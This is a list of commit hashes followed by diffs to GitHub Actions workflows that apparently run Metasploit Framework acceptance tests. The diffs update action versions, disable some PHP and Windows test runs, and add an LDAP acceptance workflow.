| 1ac2b3b8e1 | |||
| 607a2789d0 | |||
| 54788067ff | |||
| 1ba704b1cb | |||
| 46273d5f08 | |||
| f9419c4839 | |||
| ea1dafa353 | |||
| 236f88541f | |||
| 4060e069ed | |||
| 1c4258fd1e | |||
| 56a9beb39d | |||
| f1586f08c3 | |||
| 2cf045d3c4 | |||
| 57f97ac79e | |||
| 0075212fa9 | |||
| 677c355f76 | |||
| 18b2eec1db | |||
| e7f2abbf9e | |||
| 225ef6847f | |||
| 5e25a99700 | |||
| 63e1b49da1 | |||
| c0e02bdeeb | |||
| a8bc6cc27f | |||
| d57c9fb464 | |||
| 6d8666e35b | |||
| f8bd7dfd83 | |||
| cdc66dd91f | |||
| e44b57249d | |||
| 5c7061cc0c | |||
| 5a14575a31 | |||
| 017dcd89a6 | |||
| caf26fbe55 | |||
| 9d66ff650d | |||
| b031311892 | |||
| 381b840f11 | |||
| e711c9ea43 | |||
| 2cfcb74303 | |||
| e9296d1add | |||
| c91660bc54 | |||
| 6f5ec8a069 | |||
| 7da13cedc4 | |||
| b8e2feebe0 | |||
| ffbaf3b141 | |||
| 57c882cab5 | |||
| ad10cb84a9 | |||
| 43f4705e60 | |||
| 656e65f9b0 | |||
| 6de51a5047 | |||
| 077cad34ab | |||
| dc6d84d823 | |||
| 024bdaec6d | |||
| ad4b47f6ac | |||
| 0d70f254bd | |||
| 234517e3eb | |||
| 6ffebfc822 | |||
| c53bff7ee1 | |||
| b4a043f511 | |||
| 75c2de8c3d | |||
| 85e3eb51a5 | |||
| 7da5ef87e7 | |||
| 99c335a2b4 | |||
| fd7b49981d | |||
| aa0545618b | |||
| 4cb904535e | |||
| 8beb6255cb | |||
| 04c0dede5e | |||
| 6d298c379b | |||
| a4e8714de6 | |||
| ec8ee2814a | |||
| a7c547542f | |||
| 89d6c8c8ef | |||
| de53f45e68 | |||
| 469a325f9b | |||
| 6a851855a8 | |||
| 85897a2596 | |||
| 80e9f1b97d | |||
| a09cf6471a | |||
| a0bc08c6ec | |||
| b10e8d566b | |||
| 98667edf76 | |||
| ee3b8b40b6 | |||
| 94a84960a2 | |||
| e0804cf0cb | |||
| eb902457f2 | |||
| 4bdff53358 | |||
| 08beaddf0a | |||
| cdfa421d15 | |||
| 50579fb1de | |||
| 03f3bf0f2f | |||
| 8d4142a8c7 | |||
| d7f2ed4e4a | |||
| 9dca2e3820 | |||
| 2028fbd226 | |||
| f341f72c72 | |||
| e4af94bb29 | |||
| f92b2662c4 | |||
| 9bb7e0e379 | |||
| adf455e8cb | |||
| 1c5379918c | |||
| 5e59389d2b | |||
| 00cfbc357a | |||
| 216cc6762f | |||
| b2312c97d3 | |||
| 9fdac8fd28 | |||
| 4c1e1f614d | |||
| 52971ad2f6 | |||
| 7c448ceb50 | |||
| afdb34d64a | |||
| 0d1ab00144 | |||
| d5a59ceef1 | |||
| a9f5c11d68 | |||
| 2ab1b7a310 | |||
| 08c5e6a689 | |||
| 97c3ccc8af | |||
| d67d39ace6 | |||
| ed421c21ca | |||
| 3b8f684d08 | |||
| 2f023f7315 | |||
| 2390058b37 | |||
| 11d58ef2e8 | |||
| c162cf3aec | |||
| f8d541daad | |||
| 63eb5f2a35 | |||
| e9df84555e | |||
| beef573fb8 | |||
| d6488dc0c3 | |||
| 8b970af7f6 | |||
| f950711da1 | |||
| d0beea91bd | |||
| 47a58bda3b | |||
| 357bdc8c10 | |||
| b654275ec4 | |||
| 11c12fcb6d | |||
| e72242949e | |||
| a5698f6aa6 | |||
| 94a4a6173f | |||
| 3182cb4000 | |||
| 0a2dea523f | |||
| ce43db0904 | |||
| 54df3d25e0 | |||
| d461187d58 | |||
| 4c404765a4 | |||
| 91c58ba268 | |||
| 526da210ad | |||
| 0394f5f7ad | |||
| 78bac2636b | |||
| 7fafab9680 | |||
| 6f17088e33 | |||
| eeb74cd5e1 | |||
| 6fc0704930 | |||
| e3062d45e0 | |||
| 300c53d005 | |||
| fc66cd1522 | |||
| aebda4f78c | |||
| a31de9eb05 | |||
| fb26c93291 | |||
| e0f20454ea | |||
| 77fb5d02b2 | |||
| 342492557d | |||
| 6a16602a08 | |||
| 7ca256560d | |||
| 9c9af0dca1 | |||
| 1e374403ec | |||
| 22a05c8bf5 | |||
| 3ac9c0c38a | |||
| d65ceb9abc | |||
| b86df4820c | |||
| 96241f509a | |||
| 065abf6b92 | |||
| 44b4b3b5bc | |||
| 4e61596e7a | |||
| e858628292 | |||
| 549ee43df9 | |||
| 2ed3b771ed | |||
| c6a6809700 | |||
| c895364675 | |||
| a4d602669b | |||
| be84dbaed8 | |||
| 45d2c7f4e0 | |||
| 5d7cf90521 | |||
| 5e30328268 | |||
| 6b376b9156 | |||
| e9ff2e55dc | |||
| 9ac3739605 | |||
| 0641839e69 | |||
| a58f7f0558 | |||
| db099f8f4c | |||
| 02302439a0 | |||
| c911ec1413 | |||
| c2fe6d6696 | |||
| c1186be67d | |||
| 8d344a921d | |||
| abc108d81a | |||
| 0023e19e57 | |||
| 5d5ccd25e1 | |||
| 6bc3e1eb9a | |||
| 7bacc642bf | |||
| 2f3e207277 | |||
| b019b2ff89 | |||
| 742148511a | |||
| d9aa7f914e | |||
| df111afb06 | |||
| e3810a4db6 | |||
| c1459df10f | |||
| a14b28e941 | |||
| ef178298b2 | |||
| 1ee32a2d8e | |||
| 5852077d84 | |||
| d00249f083 | |||
| ff6db7f337 | |||
| 0f4644df9e | |||
| f5e81aee2a | |||
| 7d37c017fe | |||
| e946d78993 | |||
| 9c869a6768 | |||
| 5de0e4e234 | |||
| 52a23e3afb | |||
| 1749fa1e50 | |||
| 8eefea76ce | |||
| 4e106c2a73 | |||
| 95eb4cc304 | |||
| 3534181067 | |||
| d3b0c538a1 | |||
| 62d3cfa72d | |||
| ce55c1cd78 | |||
| 486f42896f | |||
| 560f668906 | |||
| a4ffd038a3 | |||
| 58f79c7b47 | |||
| 7e88279299 | |||
| cf24bca946 | |||
| c55d4ceda0 | |||
| 387c90e91e | |||
| 36cc8f6267 | |||
| b0d7695e10 | |||
| 1f91d2eee9 | |||
| 5f396245f2 | |||
| fb815f5faf | |||
| 5f004106ac | |||
| c27e8f0433 | |||
| 603e5b2bff | |||
| 862194d63f | |||
| 61414fab27 | |||
| 16dd06bbac | |||
| 7b74b758ad | |||
| dd4288e734 | |||
| c15f639bd4 | |||
| daa6d5363f | |||
| 64108de524 | |||
| 17bed1936e | |||
| d93e1fb446 | |||
| 68b7f29187 | |||
| 90d3d6fc0a | |||
| 374d724567 | |||
| 78c57c1c5c | |||
| cb0ee49f71 | |||
| ff44932113 | |||
| bc16684046 | |||
| 93cfdd88cb | |||
| b336bcaf30 | |||
| 87689ce5cb | |||
| a28e9fb841 | |||
| 453c8d8d69 | |||
| 3bad98afc6 | |||
| f5ae039ae2 | |||
| 48e2e09dfc | |||
| 62b47afee1 | |||
| 479190acf6 | |||
| 83dccfafaf | |||
| 05800296f3 | |||
| 4039ea523a | |||
| 32e5dfb12d | |||
| e5326107e1 | |||
| 45880850f5 | |||
| 5b8e7594f2 | |||
| 41232f438e | |||
| f794268020 | |||
| 0cd90259fc | |||
| 7756dc9d8e | |||
| 9f126a4d24 | |||
| 70a31560c4 | |||
| f000c39b4a | |||
| eca611aaac | |||
| 82b8556c78 | |||
| cbe99c488e | |||
| 81ff2606ad | |||
| 509ec2c9b5 | |||
| 76657c8f14 | |||
| 82b9fda14e | |||
| a6e3b3bb64 | |||
| 10d4b9233b | |||
| 7cd1b75497 | |||
| abfec99735 | |||
| 56afed78ff | |||
| 095540cea6 | |||
| 232643f426 | |||
| aee99ee52a | |||
| 3c16ec2ad8 | |||
| 152056b001 | |||
| 25b34101f1 | |||
| 4026d99d0f | |||
| cc8fdc0427 | |||
| cd8cc75cf3 | |||
| 59f49fa880 | |||
| 6b3ce045e7 | |||
| 2d24087bd7 | |||
| 45c54797ac | |||
| 4c13d350b3 | |||
| 3d6ddf769e | |||
| ce21e84ffe | |||
| 0f7e00d30e | |||
| befc87f9f0 | |||
| a76ae3a4f7 | |||
| ea803063b1 | |||
| 49ef94728b | |||
| f1fc6b7cdd | |||
| ab9576f83d | |||
| 2718c078d2 | |||
| d26db0b1dd | |||
| 26e7807154 | |||
| 9105966b20 | |||
| b6dbc81f44 | |||
| 456eecdc52 | |||
| b900964d06 | |||
| 02c892c3fc | |||
| 15bf3cb472 | |||
| 25f02ebc7c | |||
| a0258e3ff6 | |||
| 11bcd43562 | |||
| cc4fa7cd39 | |||
| 4efad9eb24 | |||
| 4585ec0336 | |||
| 1cb80c9b28 | |||
| 56da86fe6b | |||
| 5f4c17edbf | |||
| 6f1fa8daff | |||
| 22242732d9 | |||
| b171b5e77c | |||
| 7307c9810b | |||
| 1b6efbbcd6 | |||
| 4ae62a431b | |||
| c5075ade2a | |||
| e6321e46c4 | |||
| 47e7453930 | |||
| 4967d3e95d | |||
| f2f34f64c8 | |||
| 4676e6d5d4 | |||
| 708c795890 | |||
| b2fa201a7d | |||
| a1f31d909a | |||
| 0146527e55 | |||
| 147aa3df33 | |||
| 402434bbf2 | |||
| fc35a116bb | |||
| bfd22f8f01 | |||
| 1438a88eb5 | |||
| 10e0206b6e | |||
| 67933c3819 | |||
| 7dbd938e3b | |||
| c31b0f0dd1 | |||
| 3ffeef36f6 | |||
| ebc18db0ac | |||
| 4906ea228d | |||
| 7ab487612c | |||
| 2ea1f43f12 | |||
| c293c273ba | |||
| 3ca13d9358 | |||
| 2eec5e0914 | |||
| 27b2cdf5b1 | |||
| 32380d8a26 | |||
| a04943063e | |||
| ff70cc7e42 | |||
| e3046d18c9 | |||
| 622277e960 | |||
| 2ead152173 | |||
| 8c007c0ef7 | |||
| e1b3c56de8 | |||
| 65ea1188e2 | |||
| 0d591a3136 | |||
| c60da4ad58 | |||
| d20a1703b1 | |||
| 21d23be8e3 | |||
| 31daaf58fe | |||
| 397b9971a3 | |||
| c0be4c2f72 | |||
| 473ded345b | |||
| 4321aafe77 | |||
| bccd906bd2 | |||
| e9d6bab975 | |||
| 98e6bae077 | |||
| ef9a165d22 | |||
| e6e2106140 | |||
| 9b050e29ae | |||
| fff8d20eb8 | |||
| bba178e87f | |||
| 4bca269e01 | |||
| 46909f63bc | |||
| 06b6e969e4 | |||
| aa27b140cf | |||
| 38313e9962 | |||
| 34bd661d3f | |||
| 8d4ae4bc78 | |||
| 2750deedee | |||
| 218f652429 | |||
| dd701c1cfa | |||
| 9870d97ece | |||
| 08123a190c | |||
| 7f8da5a121 | |||
| 86281e860d | |||
| 5c09c86349 | |||
| d98a1e9aaa | |||
| 1b4099f5a3 | |||
| f0ab3a7140 | |||
| 58425df0ef | |||
| 13ae9fcded | |||
| 9d757990fe | |||
| d59d5e5524 | |||
| 4e1ec6484a | |||
| 8eb1f61217 | |||
| 223cb245ba | |||
| 13b19ba537 | |||
| 00cc8dcc09 | |||
| 45a5c62308 | |||
| cb83782159 | |||
| 69e5caa1a0 | |||
| 1b12dc3940 | |||
| 5e9ff17e59 | |||
| fb9bd2cae1 | |||
| 9d873cb7ac | |||
| 24490cbe1e | |||
| 56016cb3e7 | |||
| 42cdda7200 | |||
| a41fd9deda | |||
| 24fc989305 | |||
| 4e6a29d0fb | |||
| e011fbeb32 | |||
| bdb13601ae | |||
| ef84759dd4 | |||
| ad608f6999 | |||
| 3fa9416044 | |||
| fc988c2033 | |||
| 6e1580e5f5 | |||
| 51523e0971 | |||
| 04361e1005 | |||
| 5314902e74 | |||
| 12833fd0d5 | |||
| 7cd14a81b3 | |||
| 1da4333611 | |||
| 6659684fdf | |||
| 1a07ab5aee | |||
| 987bed6972 | |||
| f351d7b5e1 | |||
| fec66b5bbe | |||
| 6056081de5 | |||
| 8301e6c766 | |||
| 5d5f711dcd | |||
| 9ce3fdc557 | |||
| 4919291ec8 | |||
| 21340d0fd8 | |||
| 87cb12731e | |||
| e4005feb30 | |||
| 110cea8cc9 | |||
| 7482948ab7 | |||
| c5cfc995c2 | |||
| 3d98cf7e85 | |||
| eef180f9c8 | |||
| b5aeab0c9f | |||
| 893da00c6a | |||
| d0585e0df5 | |||
| a4750b11bc | |||
| 9c23f86d83 | |||
| beaa1273cc | |||
| 77a93e452f | |||
| 64c9968328 | |||
| c243125612 | |||
| 468265e815 | |||
| 9301e29a6e | |||
| cf0477138d | |||
| 2d683954de | |||
| f947e6a438 | |||
| d8f36d65a8 | |||
| 06369281b9 | |||
| 8ce328022c | |||
| 7331db43dd | |||
| 00f508170c | |||
| 1a7eefd972 | |||
| ea41ec7a5d | |||
| d4166098a8 | |||
| 82057178ca | |||
| 67a343230d | |||
| 87cd4aac5e | |||
| 2a56c3f28b | |||
| 7024d4ecac | |||
| 4dec6640c0 | |||
| 7442655ab9 | |||
| 21f3335c31 | |||
| f1317fa050 | |||
| 0ce7b03397 | |||
| a7c4b29748 | |||
| 25ef7d1272 | |||
| 8364ae896b | |||
| c7e0e094fa | |||
| db08ff5293 | |||
| e8d45b00ba | |||
| b28668790d | |||
| 10ee87c712 | |||
| be1229747f | |||
| 22cb55b36b | |||
| ea21036995 | |||
| 4272678938 | |||
| fa8c40072c | |||
| b9c65d5b75 | |||
| ba196b4264 | |||
| 6ba5d03993 | |||
| 672d651221 | |||
| c06d491d28 | |||
| 1cde6198b5 | |||
| a55132b36f | |||
| c8121ebd8e | |||
| 21225552b5 | |||
| ce5188a76c | |||
| 17420289dc | |||
| 23110e2ee3 | |||
| 5163aeb3f2 | |||
| 8bb7b98ce9 | |||
| dd209deeb3 | |||
| e5790f8d6e | |||
| 5b888c49cb | |||
| eef0527668 | |||
| 5584a5a31e | |||
| c27412a1ac | |||
| 00104ce467 | |||
| 8b70c3ec77 | |||
| 289dcf733c | |||
| dc26c6d10f | |||
| f83f183fe2 | |||
| 17f7d5c253 | |||
| 27d86be456 | |||
| cea4c1f326 | |||
| d26742a266 | |||
| c55290a44a | |||
| 42cf28dbbe | |||
| 05f0b6a70c | |||
| 58d03a3dab | |||
| 24810183ca | |||
| 94b5211525 | |||
| 763fae6cd7 | |||
| a7e8be4860 | |||
| 9f9f18c73f | |||
| 9c67b92a4d | |||
| 7b53592b4f | |||
| 03252913a1 | |||
| 714eeaaa3a | |||
| df040b30aa | |||
| a408181def | |||
| edfa1e6011 | |||
| c803d6ef7e | |||
| 3f3531d119 | |||
| 04388d9e25 | |||
| ad6e4618df | |||
| bfff35eb63 | |||
| 00ccebe8ce | |||
| 62f3dafd91 | |||
| df47814029 | |||
| 8ca35b0d2c | |||
| ac6aa53fc7 | |||
| ec3cf74ff3 | |||
| 9bd819e2d7 | |||
| 351e35d9f1 | |||
| 6e9facbefb | |||
| 2a699b89fa | |||
| 3bf4c0e7b1 | |||
| 40683ff591 | |||
| cd3556dd71 | |||
| 7b76cc01f9 | |||
| 7e4e6edc2f | |||
| 54bce7fcb5 | |||
| b44bf1ce7e | |||
| 7137820381 | |||
| 79a3e756b3 | |||
| 98906a5976 | |||
| 7b4caf79f8 | |||
| 3a6086d88b | |||
| 0dea63904f | |||
| ba9cb1ef40 | |||
| 71f019c359 | |||
| ff699aae00 | |||
| 5b5d5ade40 | |||
| 1dc4e35134 | |||
| bd3a6065b1 | |||
| 3b4302d902 | |||
| 369c66a85e | |||
| 93c13ad6a7 | |||
| 0cae369a45 | |||
| d960aa522c | |||
| 816048b9f5 | |||
| 94ede61a99 | |||
| 8bd976e118 | |||
| e5e58bc0be | |||
| d07ad325b2 | |||
| 013e4b5af2 | |||
| b58f963355 | |||
| 216f6fbfc5 | |||
| 93645c23ac | |||
| 0b7f079d25 | |||
| 235009d0de | |||
| a503152236 | |||
| 9e5e57390f | |||
| 14a5aaab98 | |||
| 862e738015 | |||
| 9e77eba39b | |||
| a97cc128f7 | |||
| c0af43c10b | |||
| 9253b35fb2 | |||
| 5c89df694c | |||
| 70ae201d5f | |||
| ff9639e6a6 | |||
| 50b7e0305e | |||
| c73e815974 | |||
| 96a04265c7 | |||
| 59c277ba67 | |||
| 5e19c8fd88 | |||
| 8331f4d2ad | |||
| 3bf880192e | |||
| 0d2a5795fe | |||
| ed78df0f0f | |||
| 7452cda2b1 | |||
| 5f2703f8c0 | |||
| b0b4da543d | |||
| 77a8b0efa2 | |||
| 5efaa32bd0 | |||
| fa71d8b6e2 | |||
| 97f9edb5f7 | |||
| 1ac0e2dc66 | |||
| 67b0168669 | |||
| c62f9a1c45 | |||
| eb43039a18 | |||
| 99c2bb2eca | |||
| 8e56a9761f | |||
| 93d38f2d53 | |||
| a3c5ca6cc1 | |||
| 15aaa90379 | |||
| 83e5b7a103 | |||
| 8192d204b7 | |||
| ea4bc95e7b | |||
| d2a3e2f5f2 | |||
| 24c5d8197d | |||
| 95a9a0b2ee | |||
| ee0e5b9eda | |||
| c79cc5a36b | |||
| b3a9579e8a | |||
| 258ac6421b | |||
| 7c977e07ef | |||
| 236a301f27 | |||
| 13e3d037c9 | |||
| 3024824cc9 | |||
| 30e1930444 | |||
| 7baabd08db | |||
| b4b73529d3 | |||
| dba2ac88f0 | |||
| da9d04d32d | |||
| 8ea82693a9 | |||
| ce10038546 | |||
| c63aaba760 | |||
| 5e84f57ab3 | |||
| fcffd36af0 | |||
| 9fdbccb74f | |||
| 3d405cda0a | |||
| 00b534dbed | |||
| 7e29519c9c | |||
| 0b7a1bfcf7 | |||
| 34107e4f3b | |||
| 5f438f729d | |||
| 0fc35bf6d3 | |||
| 415bd49b15 | |||
| 54f334479a | |||
| 9e6e9538e1 | |||
| d2438bad4e | |||
| 4acdaf3087 | |||
| d17f065f12 | |||
| 3242a7009b | |||
| b97cb9f63d | |||
| 60b72fb4be | |||
| 9ee838d08e | |||
| 1c027ac05c | |||
| b94d278003 | |||
| ba82b59ec2 | |||
| f394b4a8ed | |||
| 263eaf7d95 | |||
| b3b1595ef4 | |||
| 1a86610b57 | |||
| b21c976634 | |||
| a2c082fd6d | |||
| c237533908 | |||
| 4bb816652d | |||
| d66ee996ef | |||
| 58176b6627 | |||
| 102662d61a | |||
| 423262c979 | |||
| 187ff951c3 | |||
| ec5648f6c5 | |||
| 4ff3c0f102 | |||
| 2464c43151 | |||
| 718cdd9a6b | |||
| daa8b8ae99 | |||
| b428736e03 | |||
| 1140efc8b4 | |||
| 7baf199f50 | |||
| d2607c7a77 | |||
| 5d6b63c8ef | |||
| 941c44f9ad | |||
| bb19151891 | |||
| 44e5a93add | |||
| e1a307e03a | |||
| 9def455f65 | |||
| a1b3c8dc5f | |||
| 5f6b8dc7ef | |||
| 03433652e8 | |||
| 0cb56c1de5 | |||
| e48ead5e8c | |||
| 84f5c7321e | |||
| 9219a3e90a | |||
| 469d33f31c | |||
| b81252e34f | |||
| 776c0644e0 | |||
| 2163c51a2e | |||
| 05dd2e1473 | |||
| 82a1dfa9ff | |||
| 820f806a5e | |||
| 77694db215 | |||
| 6c035dada0 | |||
| b2f847706f | |||
| fb77febe3e | |||
| 075fe09c2f | |||
| 2dae0a2398 | |||
| 060dc84c18 | |||
| 2c757bc85b | |||
| 58f9a39f72 | |||
| e0dd5117aa | |||
| 862a7930dc | |||
| 2b05dab554 | |||
| b8dcafc0f6 | |||
| 9ef1d1746a | |||
| 45be501a50 | |||
| 47b0c01d58 | |||
| 59da2865d9 | |||
| ccb3927254 | |||
| 0c407945a0 | |||
| 723557365a | |||
| 5ffac9af0c | |||
| 0863645fdb | |||
| b0929fe445 | |||
| 93d5736f72 | |||
| 9f795574cd | |||
| dabf0b54e3 | |||
| 0875cc8f73 | |||
| 1071341b23 | |||
| 70c69f46a5 | |||
| 7876912eab | |||
| f0862d4d76 | |||
| 2d065d59cf | |||
| 2f23d53e90 | |||
| 1bd7d25088 | |||
| 126c19890a | |||
| 4d87d4e114 | |||
| 185cba04c3 | |||
| ea189d6c34 | |||
| 587c327944 | |||
| 1bd229056e | |||
| 2cf8b3808c | |||
| 1a3b00e593 | |||
| 2232877d03 | |||
| c1abf37d0c | |||
| f5d5541e73 | |||
| 9f10f9402c | |||
| 35609d07e9 | |||
| b4dee448bc | |||
| 7cd447b5d0 | |||
| 203470302a | |||
| 6b00d87c49 | |||
| b1de44d892 | |||
| 4044835a64 | |||
| 47d8e4de04 | |||
| 77c299d44b | |||
| 6972a910fb | |||
| 89d1923c41 | |||
| 67e003794b | |||
| f28e0d9d93 | |||
| 6a04f5ed3d | |||
| fadd9afb56 | |||
| dd03ad30d0 | |||
| ea63fe5652 | |||
| bcaf3b2a3b | |||
| 9a8f7af321 | |||
| 26b774d92b | |||
| be48eb69f4 | |||
| c126458f6d | |||
| 283b6aa938 | |||
| 8247a98083 | |||
| 6e0adcdbbb | |||
| 8529ca20f2 | |||
| e0ee339b0a | |||
| e3d03ea963 | |||
| 614d9e430e | |||
| 6a5ee283f9 | |||
| a270587070 | |||
| fb7ded054e | |||
| 02b1211deb | |||
| 8525cb858f | |||
| 6c27e63c55 | |||
| c701326a21 | |||
| 40fe50c2b4 | |||
| a503aefe46 | |||
| 9003b055a6 | |||
| 8b33ca316d | |||
| 2c48ee5b3f | |||
| e34ed10eca | |||
| a8da47e73c | |||
| ffb34b05ef | |||
| 0c418fdf65 | |||
| 619a46d450 | |||
| 766766be78 | |||
| 8627616404 | |||
| 54a7b55eb4 | |||
| 686d704b37 | |||
| 401c775336 | |||
| fc4b47cddd | |||
| 6a260f60e0 | |||
| 6b5fff6c33 | |||
| 05d6e9815d | |||
| e026791905 | |||
| 8497699d53 | |||
| 1e0ec1b0e1 | |||
| 55c22f9848 | |||
| 48acd804da | |||
| b464b9119c | |||
| 93624cca53 | |||
| 1bff275991 | |||
| 0ae003f55b | |||
| 86885e8e58 | |||
| 0c005a50c9 | |||
| 85fc0f48e7 | |||
| 432cdce773 | |||
| 7d78b52337 | |||
| ee4a5a01d2 | |||
| 6116fb6a8f | |||
| 1604cf2134 | |||
| c81de292d8 | |||
| 402e25824b | |||
| 2c63dfa79f | |||
| 737b5a46ed | |||
| a024e79b6b | |||
| 6a4d3d3854 | |||
| 6ff0c956b3 | |||
| 5a66693ae1 | |||
| 2720027468 | |||
| 4b9243c061 | |||
| 0550f44012 | |||
| 6632993bf1 | |||
| 54fa11c822 | |||
| 5d0ea40212 | |||
| c361dd9bdf | |||
| 594fea60ba | |||
| 79d3cc81cb | |||
| 49eeb90145 | |||
| 0de59481e9 | |||
| 761f91faf0 | |||
| ab5b12e8f1 | |||
| 923cb78110 | |||
| 157a815b76 | |||
| 0680630d25 | |||
| 394ea6029a | |||
| 1c693d9fad | |||
| 427e39b152 | |||
| cc9d70b896 | |||
| 4ff7babae7 | |||
| 6e6910519a | |||
| 9bc00f7759 | |||
| 3a3ffcb6df | |||
| 7e9071627f | |||
| c63810101c | |||
| 8e33badd80 | |||
| 87582ee5c9 | |||
| 375a91e4f7 | |||
| 823824163e | |||
| e3c97148e8 | |||
| ed5eeea2e6 | |||
| e743edb933 | |||
| 3dcfaac0de | |||
| e2d56c02c4 | |||
| 3af89850dd | |||
| c2a48cde7c | |||
| bd9591f621 | |||
| df4a5b9d69 | |||
| c65685deae | |||
| 4aea945be3 | |||
| 02608a4e12 | |||
| dc97b33f4a | |||
| 28a2bcf9d7 | |||
| 60113f74b7 | |||
| cae7f8c350 |
@@ -38,7 +38,9 @@ on:
|
||||
- 'lib/msf/core/**'
|
||||
- 'tools/dev/**'
|
||||
- 'spec/acceptance/**'
|
||||
- 'spec/support/acceptance/**'
|
||||
- 'spec/acceptance_spec_helper.rb'
|
||||
- '.github/**'
|
||||
# Example of running as a cron, to weed out flaky tests
|
||||
# schedule:
|
||||
# - cron: '*/15 * * * *'
|
||||
@@ -63,14 +65,15 @@ jobs:
|
||||
# Java - newer versions of Java are not supported currently: https://github.com/rapid7/metasploit-payloads/issues/647
|
||||
- { name: java, runtime_version: 8 }
|
||||
|
||||
# PHP
|
||||
- { name: php, runtime_version: 5.3 }
|
||||
- { name: php, runtime_version: 7.4 }
|
||||
- { name: php, runtime_version: 8.2 }
|
||||
# PHP - Temporarily removed as tests are timing out on Github actions
|
||||
# - { name: php, runtime_version: 5.3 }
|
||||
# - { name: php, runtime_version: 7.4 }
|
||||
# - { name: php, runtime_version: 8.2 }
|
||||
include:
|
||||
# Windows Meterpreter
|
||||
- { meterpreter: { name: windows_meterpreter }, os: windows-2019 }
|
||||
- { meterpreter: { name: windows_meterpreter }, os: windows-2022 }
|
||||
# Temporarily required for failing pcaprub compilation:
|
||||
# - { meterpreter: { name: windows_meterpreter }, os: windows-2022 }
|
||||
|
||||
# Mettle
|
||||
- { meterpreter: { name: mettle }, os: macos-11 }
|
||||
@@ -92,7 +95,7 @@ jobs:
|
||||
if: runner.os == 'Linux'
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
- uses: shivammathur/setup-php@5b29e8a45433c406b3902dff138a820a408c45b7
|
||||
- uses: shivammathur/setup-php@6d7209f44a25a59e904b1ee9f3b0c33ab2cd888d
|
||||
if: ${{ matrix.meterpreter.name == 'php' }}
|
||||
with:
|
||||
php-version: ${{ matrix.meterpreter.runtime_version }}
|
||||
@@ -100,11 +103,11 @@ jobs:
|
||||
|
||||
- name: Set up Python
|
||||
if: ${{ matrix.meterpreter.name == 'python' }}
|
||||
uses: actions/setup-python@v4
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: ${{ matrix.meterpreter.runtime_version }}
|
||||
|
||||
- uses: actions/setup-java@v3
|
||||
- uses: actions/setup-java@v4
|
||||
if: ${{ matrix.meterpreter.name == 'java' }}
|
||||
with:
|
||||
distribution: temurin
|
||||
@@ -126,7 +129,7 @@ jobs:
|
||||
type %WINDIR%\\system32\\drivers\\etc\\hosts
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
@@ -153,11 +156,11 @@ jobs:
|
||||
# Note: rspec retry is intentionally not used, as it can cause issues with allure's reporting
|
||||
# Additionally - flakey tests should be fixed or marked as flakey instead of silently retried
|
||||
run: |
|
||||
bundle exec rspec spec/acceptance/
|
||||
bundle exec rspec spec/acceptance/meterpreter_spec.rb
|
||||
|
||||
- name: Archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v3
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
# Provide a unique artifact for each matrix os, otherwise race conditions can lead to corrupt zips
|
||||
name: raw-data-${{ matrix.meterpreter.name }}-${{ matrix.meterpreter.runtime_version }}-${{ matrix.os }}
|
||||
@@ -172,7 +175,7 @@ jobs:
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v4
|
||||
if: always()
|
||||
|
||||
- name: Install system dependencies (Linux)
|
||||
@@ -186,14 +189,14 @@ jobs:
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: 3.0.2
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
cache-version: 4
|
||||
# Github actions with Ruby requires Bundler 2.2.18+
|
||||
# https://github.com/ruby/setup-ruby/tree/d2b39ad0b52eca07d23f3aa14fdf2a3fcc1f411c#windows
|
||||
bundler: 2.2.33
|
||||
|
||||
- uses: actions/download-artifact@v3
|
||||
- uses: actions/download-artifact@v4
|
||||
id: download
|
||||
if: always()
|
||||
with:
|
||||
@@ -216,7 +219,7 @@ jobs:
|
||||
|
||||
- name: archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v3
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: final-report-${{ github.run_id }}
|
||||
path: |
|
||||
|
||||
@@ -43,7 +43,7 @@ jobs:
|
||||
name: Ruby ${{ matrix.ruby }}
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Ruby
|
||||
uses: ruby/setup-ruby@v1
|
||||
|
||||
@@ -0,0 +1,164 @@
|
||||
name: Acceptance
|
||||
|
||||
# Optional, enabling concurrency limits: https://docs.github.com/en/actions/using-jobs/using-concurrency
|
||||
#concurrency:
|
||||
# group: ${{ github.ref }}-${{ github.workflow }}
|
||||
# cancel-in-progress: ${{ github.ref != 'refs/heads/main' }}
|
||||
|
||||
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
|
||||
permissions:
|
||||
actions: none
|
||||
checks: none
|
||||
contents: none
|
||||
deployments: none
|
||||
id-token: none
|
||||
issues: none
|
||||
discussions: none
|
||||
packages: none
|
||||
pages: none
|
||||
pull-requests: none
|
||||
repository-projects: none
|
||||
security-events: none
|
||||
statuses: none
|
||||
|
||||
on:
|
||||
push:
|
||||
branches-ignore:
|
||||
- gh-pages
|
||||
- metakitty
|
||||
pull_request:
|
||||
branches:
|
||||
- '*'
|
||||
paths:
|
||||
- 'metsploit-framework.gemspec'
|
||||
- 'Gemfile.lock'
|
||||
- '**/**ldap**'
|
||||
- 'spec/acceptance/**'
|
||||
- 'spec/support/acceptance/**'
|
||||
- 'spec/acceptance_spec_helper.rb'
|
||||
# Example of running as a cron, to weed out flaky tests
|
||||
# schedule:
|
||||
# - cron: '*/15 * * * *'
|
||||
|
||||
jobs:
|
||||
ldap:
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 40
|
||||
|
||||
strategy:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '3.2'
|
||||
os:
|
||||
- ubuntu-latest
|
||||
|
||||
env:
|
||||
RAILS_ENV: test
|
||||
|
||||
name: LDAP Acceptance - ${{ matrix.os }} - Ruby ${{ matrix.ruby }}
|
||||
steps:
|
